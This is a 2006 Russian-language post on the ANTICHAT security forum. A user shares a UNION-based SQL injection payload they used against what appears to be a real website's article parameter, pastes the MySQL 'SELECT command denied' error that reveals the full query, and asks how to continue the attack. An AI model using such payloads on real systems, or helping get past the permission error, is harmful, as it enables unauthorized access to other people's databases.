Sql-inj MySQL Проблемы с запросом.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

Sql-inj MySQL Проблемы с запросом.

10.09.2006, 22:26

m2infect

Познающий

Регистрация: 20.06.2006

Сообщений: 34

Провел на форуме:
140396

Репутация: 5

Sql-inj MySQL Проблемы с запросом.

Всем доброго(ой) вечера\ночи!

Уважаемые!
Подсабите хорошим словом =)
Наткунлся на SQL-инъекцию (MYSQL - 4.1.20-standard).

Код HTML:

{......}aview&aid=-1+union+select+1,2,user(),null,database(),null,7,8,9+from+mysql.user+where+id=1/*

пишет...

SELECT command denied to user '........'@'localhost' for table 'user' SQL query : select cityID, fd_type, fd_title, fd_number, art_title, date, art_url, html, pdf from mytable_press WHERE id = -1 union select 1,2,user(),null,database(),null,7,8,9 from mysql.user where id=1/* ORDER BY date DESC;

SELECT command denied to user '........'@'localhost' - Конец истории? или есть продолжение.

Подскажите пожалуйста.

С уважением.